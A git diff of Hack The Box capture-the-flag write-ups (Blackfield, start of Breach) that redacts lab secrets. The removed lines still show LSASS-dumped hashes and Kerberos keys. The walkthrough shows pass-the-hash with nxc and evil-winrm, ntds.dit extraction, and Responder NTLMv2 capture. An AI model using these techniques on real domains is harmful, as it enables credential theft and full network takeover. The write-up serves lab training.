eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [5f5a]==                username DC01$                domainname BLACKFIELD @@ -1120,9 +1114,9 @@ luid 406499                Username: svc_backup                Domain: BLACKFIELD                LM: NA -               NT: 9658d1d1dcd9250115e2205d9f48400d -               SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c -               DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [633e3]==                username svc_backup                domainname BLACKFIELD @@ -1131,8 +1125,8 @@ luid 406499        == Kerberos ==                Username: svc_backup                Domain: BLACKFIELD.LOCAL -               AES128 Key: 9658d1d1dcd9250115e2205d9f48400d -               AES256 Key: 20a3e879a3a0ca4f51db1e63514a27ac18eef553d8f30c29805c398c97599e91 +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [633e3]==                username svc_backup                domainname BLACKFIELD @@ -1141,8 +1135,8 @@ luid 406499        == DPAPI [633e3]==                luid 406499                key_guid 836e8326-d136-4b9f-94c7-3353c4e45770 -               masterkey 0ab34d5f8cb6ae5ec44a4cb49ff60c8afdf0b465deb9436eebc2fcb1999d5841496c3ffe892b0a6fed6742b1e13a5aab322b6ea50effab71514f3dbeac025bdf -               sha1_masterkey 6efc8aa0abb1f2c19e101fbd9bebfb0979c4a991 +               masterkey [REDACTED] +               sha1_masterkey [REDACTED] == LogonSession == authentication_id 366665 (59849) @@ -1157,9 +1151,9 @@ luid 366665                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [59849]==                username DC01$                domainname BLACKFIELD @@ -1168,14 +1162,14 @@ luid 366665        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [59849]==                username DC01$                domainname BLACKFIELD @@ -1195,9 +1189,9 @@ luid 366649                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [59839]==                username DC01$                domainname BLACKFIELD @@ -1206,14 +1200,14 @@ luid 366649        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [59839]==                username DC01$                domainname BLACKFIELD @@ -1285,9 +1279,9 @@ luid 24405                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [5f55]==                username DC01$                domainname BLACKFIELD @@ -1296,14 +1290,14 @@ luid 24405        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [5f55]==                username DC01$                domainname BLACKFIELD @@ -1323,9 +1317,9 @@ luid 24294                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [5ee6]==                username DC01$                domainname BLACKFIELD @@ -1334,14 +1328,14 @@ luid 24294        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [5ee6]==                username DC01$                domainname BLACKFIELD @@ -1361,9 +1355,9 @@ luid 24282                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [5eda]==                username DC01$                domainname BLACKFIELD @@ -1372,14 +1366,14 @@ luid 24282        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [5eda]==                username DC01$                domainname BLACKFIELD @@ -1399,9 +1393,9 @@ luid 22028                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED] == LogonSession == authentication_id 999 (3e7) @@ -1420,8 +1414,8 @@ luid 999        == Kerberos ==                Username: dc01$                Domain: BLACKFIELD.LOCAL -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: ae7032a985fe7303c182f82d15df15b1ccf731c7f33947e3bd2f193d12d9d684 +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [3e7]==                username DC01$                domainname BLACKFIELD @@ -1430,23 +1424,23 @@ luid 999        == DPAPI [3e7]==                luid 999                key_guid 0f7e926c-c502-4cad-90fa-32b78425b5a9 -               masterkey ebbb538876be341ae33e88640e4e1d16c16ad5363c15b0709d3a97e34980ad5085436181f66fa3a0ec122d461676475b24be001736f920cd21637fee13dfc616 -               sha1_masterkey ed834662c755c50ef7285d88a4015f9c5d6499cd +               masterkey [REDACTED] +               sha1_masterkey [REDACTED]        == DPAPI [3e7]==                luid 999                key_guid f611f8d0-9510-4a8a-94d7-5054cc85a654 -               masterkey 7c874d2a50ea2c4024bd5b24eef4515088cf3fe21f3b9cafd3c81af02fd5ca742015117e7f2675e781ce7775fcde2740ae7207526ce493bdc89d2ae3eb0e02e9 -               sha1_masterkey cf1c0b79da85f6c84b96fd7a0a5d7a5265594477 +               masterkey [REDACTED] +               sha1_masterkey [REDACTED]        == DPAPI [3e7]==                luid 999                key_guid 31632c55-7a7c-4c51-9065-65469950e94e -               masterkey 825063c43b0ea082e2d3ddf6006a8dcced269f2d34fe4367259a0907d29139b58822349e687c7ea0258633e5b109678e8e2337d76d4e38e390d8b980fb737edb -               sha1_masterkey 6f3e0e7bf68f9a7df07549903888ea87f015bb01 +               masterkey [REDACTED] +               sha1_masterkey [REDACTED]        == DPAPI [3e7]==                luid 999                key_guid 7e0da320-072c-4b4a-969f-62087d9f9870 -               masterkey 1fe8f550be4948f213e0591eef9d876364246ea108da6dd2af73ff455485a56101067fbc669e99ad9e858f75ae9bd7e8a6b2096407c4541e2b44e67e4e21d8f5 -               sha1_masterkey f50955e8b8a7c921fdf9bac7b9a2483a9ac3ceed +               masterkey [REDACTED] +               sha1_masterkey [REDACTED] ``` we'll `printf` all of that into `lsass_parse.txt`. @@ -1468,12 +1462,12 @@ username UMFD-2                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1483,12 +1477,12 @@ username UMFD-2                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1513,12 +1507,12 @@ username DWM-1                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1528,12 +1522,12 @@ username DWM-1                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1543,12 +1537,12 @@ username DC01$                password None                password (hex)                Username: dc01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1558,12 +1552,12 @@ username UMFD-1                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1582,12 +1576,12 @@ username DWM-2                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1597,12 +1591,12 @@ username DWM-2                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1620,12 +1614,12 @@ username UMFD-0                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1635,12 +1629,12 @@ username UMFD-0                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1650,12 +1644,12 @@ username UMFD-1                password None                password (hex)                Username: DC01$ -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED]                username DC01$                password None                password (hex) @@ -1676,18 +1670,18 @@ We got a hash for the second outliar we'd found in the user list : `svc_backup`. We'll try `netexec` with `Pass-The-Hash` : ```bash ->  nxc smb 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -nxc winrm 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d +>  nxc smb 10.129.229.17 -u svc_backup -H [REDACTED] +nxc winrm 10.129.229.17 -u svc_backup -H [REDACTED] SMB         10.129.229.17   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:None) (Null Auth:True) -SMB         10.129.229.17   445    DC01             [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d   +SMB         10.129.229.17   445    DC01             [+] BLACKFIELD.local\svc_backup:[REDACTED]   WINRM       10.129.229.17   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:BLACKFIELD.local)   -WINRM       10.129.229.17   5985   DC01             [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!) +WINRM       10.129.229.17   5985   DC01             [+] BLACKFIELD.local\svc_backup:[REDACTED] (Pwn3d!) ``` And we got a shell ! ```PowerShell ->  evil-winrm -i BLACKFIELD.local -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d +>  evil-winrm -i BLACKFIELD.local -u svc_backup -H [REDACTED] /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems @@ -1703,7 +1697,7 @@ Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplay Info: Establishing connection to remote endpoint /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... *Evil-WinRM* PS C:\Users\svc_backup\Documents> type /Users/svc_backup/Desktop/user.txt -3920bb31*************4b543 +[REDACTED] ``` And the user flag. @@ -1800,13 +1794,13 @@ Info: Download successful! ``` ```bash -nxc smb 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d --get-file 'Windows/Temp/ntds.dit' /tmp/blackfield_ntds.dit 2>&1; nxc smb 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d --get-file 'Windows/Temp/system.bak' /tmp/blackfield_system.bak 2>&1; ls -la /tmp/blackfield_ntds.dit /tmp/blackfield_system.bak +nxc smb 10.129.229.17 -u svc_backup -H [REDACTED] --get-file 'Windows/Temp/ntds.dit' /tmp/blackfield_ntds.dit 2>&1; nxc smb 10.129.229.17 -u svc_backup -H [REDACTED] --get-file 'Windows/Temp/system.bak' /tmp/blackfield_system.bak 2>&1; ls -la /tmp/blackfield_ntds.dit /tmp/blackfield_system.bak ``` We use `Impacket`'s `secretsdump` with `svc_backup`'s hash and we get the Administrator hash, we use `Pass-The-Hash` : ```bash ->  evil-winrm -i 10.129.229.17 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee +>  evil-winrm -i 10.129.229.17 -u Administrator -H [REDACTED] /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems @@ -1821,7 +1815,7 @@ Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplay                                          Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> type /Users/Administrator/Desktop/root.txt -437***************955cb +[REDACTED] ``` -And we got root. +And we got root. \ No newline at end of file diff --git a/Breach HTB [MEDIUM].md b/Breach [MEDIUM].md similarity index 60% rename from Breach HTB [MEDIUM].md rename to Breach [MEDIUM].md index 429b75d..aa25e83 100644 --- a/Breach HTB [MEDIUM].md +++ b/Breach [MEDIUM].md @@ -309,274 +309,139 @@ And with that, Responder captures the authentication method (which for this vers ```bash [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:62db12069409400a:7101E41E7579E2D36CED82EC2A37BE6A:010100000000000080E6583190EBDC016D4D2F2A7DD03B47000000000200080037004B004600480001001E00570049004E002D00380044003 -800510048005A0039004800320057004B0004003400570049004E002D00380044003800510048005A0039004800320057004B002E0037004B00460048002E004C004F00430041004C000300140037004B00460048002E004C004F00430041004C000500140037004B0 -0460048002E004C004F00430041004C000700080080E6583190EBDC010600040002000000080030003000000000000000010000000020000063C5753E55AE1F590F4D7512E9879D4DEA1672E699407A3FA7F6821B29FFF20C0A0010000000000000000000000000000 -00000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000 +[SMB] NTLMv2-SSP Hash     : [REDACTED] [SMB] NTLMv2-SSP Client   : 10.129.2.189 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong -[SMB] NTLMv2-SSP Hash     : 